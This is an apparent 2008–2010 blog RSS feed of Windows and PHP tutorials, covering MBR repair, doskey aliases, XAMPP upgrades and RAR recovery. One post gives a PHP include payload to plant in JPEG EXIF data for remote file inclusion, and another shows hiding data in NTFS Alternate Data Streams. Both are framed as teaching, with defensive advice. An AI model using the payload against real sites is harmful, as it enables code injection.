<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>plasmid.co.uk &#187; Tutorials</title>
	<atom:link href="http://plasmid.co.uk/category/tutorials/feed/" rel="self" type="application/rss+xml" />
	<link>http://plasmid.co.uk</link>
	<description>because life is faster in reverse ...</description>
	<lastBuildDate>Thu, 20 May 2010 23:07:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
  <link>http://plasmid.co.uk</link>
  <url>http://plasmid.co.uk/wp/favicon.ico</url>
  <title>plasmid.co.uk</title>
</image>
		<item>
		<title>Windows Search Hang</title>
		<link>http://plasmid.co.uk/2010/05/19/windows-search-hang/</link>
		<comments>http://plasmid.co.uk/2010/05/19/windows-search-hang/#comments</comments>
		<pubDate>Wed, 19 May 2010 12:05:01 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Freeze]]></category>
		<category><![CDATA[Hang]]></category>
		<category><![CDATA[Process Monitor]]></category>
		<category><![CDATA[Search]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=221</guid>
		<description><![CDATA[I recently found my Windows Search functionality just stopped dead in its tracks. I'm still investigating the exact cause of this (haven't ruled out malware just yet) but it would appear this is a problem with the Windows Search registry entries.
Symptoms:
Opening Windows Search, clicking "Search now" and the explorer process hangs / freezes.
Fix: (queue eyebrow-raising [...]]]></description>
			<content:encoded><![CDATA[<p>I recently found my Windows Search functionality just stopped dead in its tracks. I'm still investigating the exact cause of this (haven't ruled out malware just yet) but it would appear this is a problem with the Windows Search registry entries.</p>
<p><strong>Symptoms:</strong><br />
Opening Windows Search, clicking "Search now" and the explorer process hangs / freezes.</p>
<p><strong>Fix:</strong> (queue eyebrow-raising solution)<br />
If you download <a href="http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx">ProcMon</a> and filter for explorer.exe, you'll see it is trying to open the same file again and again. For me, this was a zip file containing icons for a web project I'm working on.</p>
<p>To make the search feature work again, rename the file it is getting stuck on and restart explorer. You should find everything is operational.</p>
<p>If anything is unclear and you think this problem might be affecting you, leave a comment and I'll have a look.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2010/05/19/windows-search-hang/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Emulating *nix Shell with Windows Command Prompt</title>
		<link>http://plasmid.co.uk/2009/12/03/emulating-nix-shell-with-windows-command-prompt/</link>
		<comments>http://plasmid.co.uk/2009/12/03/emulating-nix-shell-with-windows-command-prompt/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 23:04:36 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[auto-complete]]></category>
		<category><![CDATA[autorun]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[CoreUtils]]></category>
		<category><![CDATA[doskey]]></category>
		<category><![CDATA[GnuWin32]]></category>
		<category><![CDATA[nix]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=202</guid>
		<description><![CDATA[Ever tried to ls or rm under Windows?
With just a few minor adjustments the Windows Command Prompt (cmd.exe) can emulate the behaviour of your favourite *nix shell. Please note, this isn't a full emulation method - the existing Windows commands are being manipulated to appear as their *nix shell counterparts.
Note: This is for systems where [...]]]></description>
			<content:encoded><![CDATA[<p>Ever tried to <strong>ls</strong> or <strong>rm</strong> under Windows?</p>
<p>With just a few minor adjustments the Windows Command Prompt (cmd.exe) can emulate the behaviour of your favourite *nix shell. Please note, this isn't a full emulation method - the existing Windows commands are being manipulated to appear as their *nix shell counterparts.</p>
<p><ins datetime="2010-05-20T23:02:03+00:00">Note: This is for systems where unauthorized software is not permitted. If you administrate your own system, I highly recommend checking the <a href="http://gnuwin32.sourceforge.net/">GnuWin32</a>, in particular the <a href="http://gnuwin32.sourceforge.net/packages/coreutils.htm">CoreUtils package</a>.</ins><br />
<span id="more-202"></span><br />
<strong>Background</strong></p>
<p>This method involves simple implementation of the <a href="http://en.wikipedia.org/wiki/DOSKey">doskey macro utility</a>. For convenience, a Windows batch file (*.bat) will be used to wrap calls to doskey. Some small adjustments to the registry are necessary, so it is <strong>strongly advised that the registry is backed up</strong> before reading further.</p>
<p><strong>Create a Command List Batch File</strong></p>
<ol>
<li>Open a text editor of your choice (e.g. notepad).</li>
<li>The following are some examples of how to add a *nix command, with the Windows Command Prompt equivalent:<br />
<code>@ECHO OFF<br />
doskey sudo=runas /user:administrator $*<br />
doskey alias=doskey $*<br />
doskey ls=dir $*<br />
doskey rm=del $*<br />
doskey cp=copy $*<br />
doskey mv=move $*<br />
doskey clear=cls<br />
doskey reboot=echo The system is going down for reboot NOW!$T shutdown -r<br />
doskey restart=reboot<br />
doskey top=tasklist<br />
doskey traceroute=tracert $*<br />
doskey kill=taskkill /F /IM $*<br />
echo [%USERNAME%@%COMPUTERNAME%]$ *nix commands added<br />
</code></li>
<li>Save as a batch file somewhere on your system, <strong>e.g. C:\nix-cmd.bat</strong></li>
</ol>
<p>Please note: Not all commands will behave exactly like their counterpart, however these are some examples from my batch file.</p>
<p><strong>Enabling Batch File and Tab-key Auto-complete</strong></p>
<ol>
<li>Start->Run->regedit</li>
<li>To add auto-complete for...<br />
		... <strong>just your username</strong>:<br /><em>HKEY_CURRENT_USER\Software\Microsoft\Command Processor</em><br />
		... <strong>all system users</strong>:<br /><em>HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor</em>
	</li>
<li>Modify the key entries to reflect your system settings, although they should appear somewhat similar to the below:<br />
<div id="attachment_211" class="wp-caption aligncenter" style="width: 310px"><a href="http://plasmid.co.uk/wp/wp-content/uploads/2009/12/nix-cmd_registry.png"><img src="http://plasmid.co.uk/wp/wp-content/uploads/2009/12/nix-cmd_registry-300x71.png" alt="*nix cmd registry screen capture" title="nix-cmd_registry" width="300" height="71" class="size-medium wp-image-211" /></a><p class="wp-caption-text">*nix cmd registry screen capture</p></div></li>
</ol>
<p>If you want to use a different key for auto-complete (i.e. not tab), then change the CompletionChar and PathCompletionChar values to the desired hexadecimal character code.</p>
<p><strong>Footnote</strong></p>
<p>That is all there is to it! I mostly make do with the commands above - its just a nice little tweak to make the command prompt a bit more usable.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2009/12/03/emulating-nix-shell-with-windows-command-prompt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing PHP 5.3.0rc2 for XAMPP (Windows)</title>
		<link>http://plasmid.co.uk/2009/05/23/installing-php-530rc2-for-xampp-windows/</link>
		<comments>http://plasmid.co.uk/2009/05/23/installing-php-530rc2-for-xampp-windows/#comments</comments>
		<pubDate>Sat, 23 May 2009 23:06:26 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP 5.3.0rc2]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[XAMPP]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=142</guid>
		<description><![CDATA[Having been unable to find a definitive guide to upgrading the XAMPP PHP version to PHP 5.3.0rc2, I decided to improvise on a guide for installing the PHP 5.3 alpha.
My guide will describe how to upgrade the current XAMPP PHP version to the second release candidate of version 5.3. It is expected that this method [...]]]></description>
			<content:encoded><![CDATA[<p>Having been unable to find a definitive guide to upgrading the XAMPP PHP version to PHP 5.3.0rc2, I decided to improvise on <a href="http://forge.typo3.org/wiki/flow3-overview/PHP_53alpha_installation_on_Windows_(xampp)">a guide for installing the PHP 5.3 alpha</a>.</p>
<p>My guide will describe how to upgrade the current XAMPP PHP version to the second release candidate of version 5.3. It is expected that this method will also work for the <strong>third release candidate</strong> when it is released later this month.<br />
<span id="more-142"></span><br />
<strong>Step 1: Make backups</strong></p>
<p>Before starting, make sure to backup any settings, custom modules and most importantly the <strong>htdocs directory</strong>, which contains your scripts and page resources. This directory is normally located at <em>C:\xampp\htdocs\</em></p>
<p><strong>Step 2: Preparation</strong></p>
<ol>
<li><a href="http://windows.php.net/downloads/qa/php-5.3.0RC2-Win32-VC6-x86.zip">Download PHP 5.3.0rc2</a>. I use the VC6 build in order to minimise any potential compatibility issues.</li>
<li>It is also recommended that you download the <a href="http://www.apachefriends.org/en/xampp-windows.html">latest Windows version of XAMPP</a>. While this is an upgrade guide that <em>should</em> work with previous versions of XAMPP, it is recommended that a fresh copy of the core files is used.</li>
<li>Stop any instances of the Apache service that might be running.</li>
</ol>
<p><strong>Step 3: The upgrade</strong></p>
<p>This guide will assume your XAMPP directory is <em>C:\xampp\</em></p>
<ol>
<li>Extract the XAMPP archive to a directory of your choosing, I would recommend using the default <em>C:\xampp\</em></li>
<li>Extract the contents of the PHP archive to <em>C:\xampp\php\</em>, overwriting the contents of this directory with the new files.</li>
<li>Open the file <em>C:\xampp\apache\conf\extra\httpd-xampp.conf</em> and ensure the following lines are present in this order:
<pre>LoadFile "/xampp/php/php5ts.dll"
LoadModule php5_module "/xampp/apache/bin/php5apache2_2.dll"</pre>
</li>
<li>Replace <em>C:\xampp\php\php.ini</em> with <em>C:\xampp\php\php.ini-dist</em><br />
Uncomment the lines:</p>
<pre>;extension=php_mbstring.dll
;extension=php_pdo_sqlite.dll</pre>
<p>Replace the line
<pre>magic_quotes_gpc = On</pre>
<p> with
<pre>magic_quotes_gpc = Off</pre>
</li>
<li>Copy all files in the <em>C:\xampp\php\</em> to <em>C:\xampp\apache\bin\</em> (<strong>do not</strong> copy the subdirectories or their contents).</li>
</ol>
<p>After following the above steps, restart your Apache service (this can be done using <em>C:\xampp\xampp-control.exe</em> or manually through the control panel/command prompt). Your PHPinfo should indicate that the upgrade has been successful.</p>
<p>I will update this post if I discover any problems from using this method, or a cleaner (automated) means of performing the upgrade.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2009/05/23/installing-php-530rc2-for-xampp-windows/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Repairing broken USB partition tables</title>
		<link>http://plasmid.co.uk/2008/12/04/repairing-broken-usb-partition-tables/</link>
		<comments>http://plasmid.co.uk/2008/12/04/repairing-broken-usb-partition-tables/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 02:47:12 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[partition table]]></category>
		<category><![CDATA[USB]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=101</guid>
		<description><![CDATA[While trying to use my 16GB USB flash drive as a raw-disk for VMware, I managed to corrupt the partition table. This rendered the drive useless for data storage. As none of the information contained on the drive was useful, it seemed that the best solution was a straightforward partition table wipe and rebuild. This [...]]]></description>
			<content:encoded><![CDATA[<p>While trying to use my 16GB USB flash drive as a raw-disk for VMware, I managed to corrupt the partition table. This rendered the drive useless for data storage. As none of the information contained on the drive was useful, it seemed that the best solution was a straightforward partition table wipe and rebuild. This can be difficult on Windows as <strong>Control Panel->Administrative Tools->Disk Management</strong> does not allow the deletion of the primary partition.</p>
<p>Many Googl'd solutions involved rebooting with one repair/installation disk or another, however I've found a quicker way...<br />
<span id="more-101"></span><br />
<strong>The Fix</strong></p>
<ol>
<li>Download <a href="http://www.sysint.no/nedlasting/mbrfix.htm">MbrFix</a>. [<a href="http://www.download.com/MbrFix/3000-2094_4-10485990.html">Working mirror at time of writing.</a>]</li>
<li>Use <code>mbrfix /drive &lt;num&gt; driveinfo</code> to identify the USB flash drive. The <em>&lt;num&gt;</em> refers to the physical identifier. Start at zero and increment until one of them gives a size reading that matches; this is probably the correct drive.</li>
<li>Use <code>mbrfix /drive &lt;num&gt; clean</code> and enter "y" to confirm partition deletion. <strong>WARNING: IF YOU DO THIS, DATA RECOVERY FROM THE DRIVE IS DIFFICULT, BE SURE YOU HAVE CHOSEN THE CORRECT DRIVE!</strong></li>
<li>Go to <strong>Control Panel->Administrative Tools->Disk Management</strong> and right-click on the unallocated space. Select create new partition and fill in the details.</li>
<p>This has reset the drive with a healthy partition, you should find it has regained functionality!</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/12/04/repairing-broken-usb-partition-tables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu broke my MBR!</title>
		<link>http://plasmid.co.uk/2008/10/27/ubuntu-broke-my-mbr/</link>
		<comments>http://plasmid.co.uk/2008/10/27/ubuntu-broke-my-mbr/#comments</comments>
		<pubDate>Mon, 27 Oct 2008 19:24:40 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[GRUB]]></category>
		<category><![CDATA[MBR]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=82</guid>
		<description><![CDATA[When installing Ubuntu on to a USB stick it will overwrite your system disk MBR. This is a significant problem for those with multi-boot or a Windows installation (as the system disk can no longer boot without putting in the USB stick each time!). The following is the account of my little adventure in to [...]]]></description>
			<content:encoded><![CDATA[<p>When installing <abbr title="8.04.1-desktop-i386 in this case">Ubuntu</abbr> on to a USB stick it will overwrite your <strong>system disk MBR</strong>. This is a significant problem for those with multi-boot or a Windows installation (as the system disk can no longer boot without putting in the USB stick each time!). The following is the account of my <em>little adventure</em> in to repairing my laptop disk MBR...<br />
<span id="more-82"></span></p>
<p><ins datetime="2008-10-29T00:04:12+00:00"><em>EDIT: At step 7 of the installation, click on the advanced settings and select the drive on which the boot manager should be installed. This has been verified using Ubuntu 8.10rc1. I don't remember seeing this in the menu of 8.04, maybe they should put something so important in a more prominent place (or I should at least look harder)!</em></ins></p>
<p><strong>The problem</strong></p>
<p>In a nutshell (please forgive the amateur dramatisation):</p>
<ul>
<li>You make the reasonable assumption that: because you're installing Ubuntu to a USB stick and not the system partition, it will put GRUB on to the USB stick so you can boot it as a USB-HDD.</li>
<li>Upon rebooting the system, you find that Ubuntu has <strong>OVERWRITTEN your system disk boot partition</strong> - uh oh! Inexplicably, Ubuntu still installs GRUB to the USB stick, even though it has modified the system MBR. Booting is now impossible without the USB stick plugged in! (oh dear, oh dear!)</li>
<li>After furious searching, you can't find a working XP installation disk so try to use <a href="http://tips.vlaurie.com/2006/05/23/recovery-console-for-those-without-an-xp-disk/">this little guide</a> on downloading the recovery console to rebuild your MBR.</li>
<li>Rebooting once again, you find the recovery console <abbr title="Blue Screen of Death">BSOD</abbr>s before you can even touch the <em>fixmbr</em> command.</li>
<li>Getting desperate now, you Google again for <a href="http://ph.ubuntuforums.com/showthread.php?t=938042">anyone else who might have the same problem</a> but find they're using Vista and this is inapplicable to your situation.</li>
<li>You spend the next hour facepalming until your hand starts to bleed ...</li>
</ul>
<p><strong>The solution</strong> (hurrah!)</p>
<p>Fortunately, Google did come up trumps in the end. A little tool know as <a href="http://www.sysint.no/nedlasting/mbrfix.htm">MbrFix</a> can be run from within Windows to fix the problem and dispose of the broken GRUB once and for all!</p>
<p>If you don't fancy reading through the entire manual, here is my <strong>3-step fix</strong>:</p>
<ol>
<li>Download a copy of MbrFix.exe</li>
<li>Extract it anywhere on your hard disk.</li>
<li>Run the program (as admin) with these parameters:
<p>	<code>MbrFix /drive 0 fixmbr /yes</code></p>
</li>
</ol>
<p>After restarting, your system should boot Windows as normal!</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/10/27/ubuntu-broke-my-mbr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Partial RAR extraction using WinRAR</title>
		<link>http://plasmid.co.uk/2008/10/04/partial-rar-extraction-using-winrar/</link>
		<comments>http://plasmid.co.uk/2008/10/04/partial-rar-extraction-using-winrar/#comments</comments>
		<pubDate>Sat, 04 Oct 2008 21:33:54 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[partial extraction]]></category>
		<category><![CDATA[RAR]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=45</guid>
		<description><![CDATA[WinRAR allows users to split file archives into smaller pieces (a feature present in most major archiving software these days). It is sometimes the case that one or more of these pieces are missing, and as such the archive cannot be completely reassembled. This tutorial shows how to partially recover files from a RAR that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.rarlab.com/">WinRAR</a> allows users to split file archives into smaller pieces (a feature present in most major archiving software these days). It is sometimes the case that one or more of these pieces are missing, and as such the archive cannot be completely reassembled. This tutorial shows how to partially recover files from a RAR that does not have all pieces present.<br />
<span id="more-45"></span><br />
<strong>Introduction</strong></p>
<p>This tutorial assumes you are running either Windows 2000/XP and have a copy of WinRAR installed (Download WinRAR: <a href="http://www.rarlab.com/download.htm">http://www.rarlab.com/download.htm</a>). This tutorial works best for RAR files that contain <strong>video media</strong>.</p>
<p>There are a number of caveats associated with this method (e.g. extraction of text files or images is unlikely because the packaging software will have probably <strong>compressed it</strong>); please <a href="#caveats">read the list</a> before continuing. With this in mind, let's get started...</p>
<p><strong>Background</strong></p>
<p>Archive files that have been split are often suffixed .001, .r01 or simply .part01 (where the final digits represent which piece of the overall archive it is, i.e. <em>a 5 part archive might have files with .001, .002, .003, .004 and .005 as suffixes</em>). WinRAR extracts and assembles files in the Windows temporary folder, we will exploit this mechanism to extract files from archives where we do not have all of the pieces.</p>
<p><strong>The method in the madness!</strong></p>
<ol>
<li>Double click one of the archive files (or open it manually from within WinRAR).</li>
<li>Tell the program to extract the file somewhere on your computer.</li>
<li>An error message will pop-up and inform you that not all pieces were present to complete the extraction.
<p><a href='http://plasmid.co.uk/wp/wp-content/uploads/2008/10/rar_extract_01.png'><img src="http://plasmid.co.uk/wp/wp-content/uploads/2008/10/rar_extract_01-150x150.png" alt="A screen shot of the window in WinRAR" title="rar_extract_01" width="150" height="150" class="alignnone size-thumbnail wp-image-69" /></a></p>
<p><strong>DO NOT CLOSE THIS WINDOW!!!</strong></p>
<li>Navigate to the temporary directory for your username. The default on Windows XP is:<br />
<code>C:\Documents and Settings\<strong>YOUR USERNAME</strong>\Local Settings\Temp</code>.</li>
<li>This folder/directory is usually pretty full. Look for a directory called Rar$****.*** (where the *s represent any character). The naming convention might be different between versions, if you are having trouble finding this directory, try searching the temporary directory for file that you are trying to extract (<strong>CTRL+F and then the file name</strong>).</li>
<li>Once you've located the file, copy it to your desktop or another 'safe' directory (i.e. outside of your temporary folder).</li>
<li>The file you've extracted should be the combined contents of the archive pieces you have available at the time of extraction.</li>
</ol>
<p><strong>Caveats</strong><br />
<a name="caveats"></a><br />
There are several caveats to this method, please read these before trying the above or you might find yourself wasting a lot of time!</p>
<ol>
<li>Text and image files are almost always compressed, the output will be completely useless without all the parts since WinRAR seems to perform the decompression step last!</li
<li>This method <strong>cannot</strong> be used to extract password protected files if you do not know the password.
<li>The data will only be extracted up to the last sequential piece, e.g. if you have pieces 1, 2, 3, 6 and 7 of a 10 piece archive - the extraction will halt after extracting from piece 3.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/10/04/partial-rar-extraction-using-winrar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EXIF and PHP exploitation &#8211; The Truth</title>
		<link>http://plasmid.co.uk/2008/05/21/exif-and-php-exploitation-the-truth/</link>
		<comments>http://plasmid.co.uk/2008/05/21/exif-and-php-exploitation-the-truth/#comments</comments>
		<pubDate>Wed, 21 May 2008 20:52:17 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[EXIF]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/?p=44</guid>
		<description><![CDATA[Introduction
After reading through a couple of tutorials describing the ease with which PHP can be included directly from the EXIF data within a JPEG image, I became suspicious. Surely my eyes deceive me? Is this a late April Fools'? My first point of call was Google - which provided me with a wealth of information [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>After reading through a <a href="http://tinyurl.com/4kmh8h">couple of tutorials</a> describing the ease with which PHP can be included directly from the <abbr title="Exchangeable image file format">EXIF</abbr> data within a JPEG image, I became suspicious. Surely my eyes deceive me? Is this a late April Fools'? My first point of call was Google - which provided me with a wealth of information on EXIF functions from within PHP, but very little regarding this particular vulnerability.</p>
<p>There was nothing for it... time to jump in and see what the fuss was about!<br />
<span id="more-44"></span><br />
<strong>Theory</strong></p>
<p>In fairness, this tutorial is more of a reminder about general file security and good PHP inclusion practices. The JPEG EXIF data example is particularly illuminating in both of these aspects.</p>
<p>Most modern cameras and image recording devices save embedded data within their photos; this often includes the camera model, the date and time of the photograph, author information, orientation etc. This is fantastic for Joe Public, who can come home after a night of drunken debauchery, sling the camera memory card in it's reader <strong>et Voila!</strong> - pictures recounting his sordid antics are arranged chronologically on his desktop for later viewing... <em>GREAT</em>!</p>
<p>However, it is by this very same mechanism that an unscrupulous individual could include malicious PHP in an otherwise secure website.</p>
<p>The core of the issue is simple - <strong>EXIF data is stored as plain text within JPEG files</strong>. This is problematic in scenarios where users are allowed to upload their own images. For example, if a forum page is engineered in such a way as to allow the arbitrary inclusion of a locally uploaded JPEG image, there is the opportunity for EXIF data spiking to take place.</p>
<p><strong>Method</strong></p>
<ol>
<li>Open up a JPEG with an image editor that supports EXIF data modification (e.g. <abbr title="Paint Shop Pro">PSP</abbr> or <abbr title="Photoshop">PS</abbr> work just fine).</li>
<li>Find the option to view image information and <strong>select EXIF Information</strong>.</li>
<li>Paste the following into an editable field (e.g. 'Image Title'): <code>&lt;? include('http://target-site.com'); ?&gt;</code>.</li>
</ol>
<p>This is a very simple example where remote inclusion can take place (server settings permitting). To use, all that is required is a page where you're able to <code>include()</code> the image itself using <code>$_GET[]</code> or otherwise. During the include process, the file is read as plain text and the PHP code is executed.</p>
<p>The same effects can be replicated by including a file that contains plain text PHP code (e.g. text files, Word Documents, etc).</p>
<p><strong>Conclusion</strong></p>
<p>As my original suspicions confirmed, EXIF data manipulation as an <em>exploit</em> is simply too good to be true. I concede that there is potential for misuse (especially on poorly coded sites and forums) as image uploads are an integral aspect of almost every modern website. However, the fault often lies with individual weak scripts that are very easy to fix. The cause of this problem is because there is a tendency for programmers to be satisfied with dangerous PHP code!</p>
<p><strong>How to avoid this affecting you</strong></p>
<p>Never, I repeat - <strong>NEVER</strong> use <code>$_GET[]</code> to retrieve a file path for inclusion. Use databases or (if absolutely necessary) internal variables to hold file paths and make inclusion by reference to these, not what you get from the users browser. Also make sure to rigorously test your scripts before deploying them and (if you're particularly paranoid) selectively fuzz them whenever you make changes! Take heed of this and you're flying ;-)</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/05/21/exif-and-php-exploitation-the-truth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8216;Hiding&#8217; information using ADS</title>
		<link>http://plasmid.co.uk/2008/04/08/hiding-information-using-ads/</link>
		<comments>http://plasmid.co.uk/2008/04/08/hiding-information-using-ads/#comments</comments>
		<pubDate>Tue, 08 Apr 2008 22:41:40 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[ADS]]></category>
		<category><![CDATA[data streams]]></category>
		<category><![CDATA[NTFS]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/2008/04/08/hiding-information-using-ads/</guid>
		<description><![CDATA[Introduction
This tutorial will explore the potential for using 'Alternate Data Streams' (ADS) to store information on an NTFS partition. All of the steps detailed below can be accomplished directly from within Windows. 
Theory
Files act as pointers to physical data on a storage medium; they are a convenience, a way of managing information on a computer [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>This tutorial will explore the potential for using 'Alternate Data Streams' (ADS) to store information on an <abbr title="NT File System">NTFS</abbr> partition. All of the steps detailed below can be accomplished directly from within Windows. </p>
<p><strong>Theory</strong></p>
<p>Files act as pointers to physical data on a storage medium; they are a convenience, a way of managing information on a computer as discrete units. It should be this fantastically simple - one pointer for one file - but it seems Microsoft had other ideas...<br />
Macintosh computers use a different file system to Windows computers. It was decided that NTFS should be able to emulate some aspects of the Mac file system to improve file compatibility. As a result, it is possible to 'attach' data to a file in a way that is not visible to users (oh dear!).</p>
<p><strong>Getting your hands dirty</strong></p>
<ol>
<li>Load up a command-prompt Window (Start->Run->'cmd').</li>
<li>Create a file to run this demonstration on. In the console type: <code>echo Hello, World! &gt; test.txt</code>.<br />
<strong>(The file 'test.txt' now contains 16 bytes of information. This is the default data stream)</strong></li>
<li>In the console, enter <code>type test.txt</code> to show the information in 'test.txt'.</li>
<li><strong>Let's hide some data!</strong> In the console type <code>echo I am hidden! > test.txt:hidden.txt</code>. Notice the colon (:) - this is very important!</li>
<li>If you repeat step 3, you should only see 'Hello, World!' printed to the console. Check the properties of the file using Windows Explorer and you'll arrive at the same conclusion, the file still contains only 16 bytes. You could even enter in <code>type test.txt:hidden.txt</code> to try and see the text in 'hidden.txt', but it will return an error. Where is the hell has the information you just entered gone? </li>
<li>To reveal the contents of 'hidden.txt', type <code>more &lt; test.txt:hidden.txt</code> in the console, et voila - the magically disappearing information has made a miraculous reappearance!</li>
<li>The file 'hidden.txt' is now linked with 'test.txt'. You could say that 'test.txt' is acting as a pointer to two data streams. Furthermore, if you copy 'test.txt' to another folder - 'hidden.txt' is copied with it!</li>
</ol>
<p><strong>Conclusion</strong></p>
<p>The above is a basic demonstration of how ADS can be used to store hidden information. The article at <a href="http://www.governmentsecurity.org/forum/index.php?showtopic=3607">governmentsecurity.org</a> goes on to explore how an executable could be hidden within a file too. I've written a small batch file that attaches a user-defined message to itself (using ADS) and presents it using notepad. To remove the hidden file, you can either try the method suggested at gov.sec. or just delete the batch file itself!</p>
<p><strong>Download files</strong></p>
<p><a href='http://plasmid.co.uk/wp/wp-content/uploads/2008/04/ads_demo.rar' title='ADS Demonstration'>ads_demo.rar</a> - extract and run.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/04/08/hiding-information-using-ads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Write console text to a file (Windows cmd.exe)</title>
		<link>http://plasmid.co.uk/2008/03/26/write-console-text-to-a-file-windows-cmdexe/</link>
		<comments>http://plasmid.co.uk/2008/03/26/write-console-text-to-a-file-windows-cmdexe/#comments</comments>
		<pubDate>Wed, 26 Mar 2008 20:53:50 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[command prompt]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://plasmid.co.uk/2008/03/26/write-console-text-to-a-file-windows-cmdexe/</guid>
		<description><![CDATA[Writing directly from the Windows command line to a file might not be something you need to do very often. The famous black and white console is better suited to serving system commands and file operations than being a stand-in for notepad. However, it is sometimes useful to have the option of writing multiple lines [...]]]></description>
			<content:encoded><![CDATA[<p>Writing directly from the Windows command line to a file might not be something you need to do very often. The famous black and white console is better suited to serving system commands and file operations than being a stand-in for notepad. However, it is sometimes useful to have the option of writing multiple lines of text to a file directly from the trusty prompt.</p>
<p><strong>Method One</strong></p>
<p>This is suitable for creating/overwriting a file with multiple lines of text.</p>
<p><code>copy con SOME_FILE.txt<br />
Type your text here<br />
You can even have multiple lines!</code></p>
<p>When finished, press CTRL+Z to confirm your action (or CTRL+C to cancel) and ENTER.</p>
<p>If you want to append some text instead of overwriting it completely, follow as above but using:</p>
<p><code>copy SOME_FILE.txt + con</code></p>
<p><strong>Method Two</strong></p>
<p>Open up the command prompt and type:</p>
<p><code>echo SOME TEXT &gt; SOME_FILE.txt</code></p>
<p>This method creates/overwrites SOME_FILE.txt with the text you entered before the <code>&gt;</code>. It is only suitable for entering a single line of text into a file.</p>
<p>As with method one, it possible to append text using <code>&gt;&gt;</code> instead of <code>&gt;</code> in the command.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/03/26/write-console-text-to-a-file-windows-cmdexe/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spoof your network adapter MAC address under Windows</title>
		<link>http://plasmid.co.uk/2008/03/09/spoof-your-network-adapter-mac-address-under-windows/</link>
		<comments>http://plasmid.co.uk/2008/03/09/spoof-your-network-adapter-mac-address-under-windows/#comments</comments>
		<pubDate>Sun, 09 Mar 2008 00:40:02 +0000</pubDate>
		<dc:creator>plasmid</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[MAC]]></category>
		<category><![CDATA[NIC]]></category>
		<category><![CDATA[spoofing]]></category>
		<category><![CDATA[Windows]]></category>

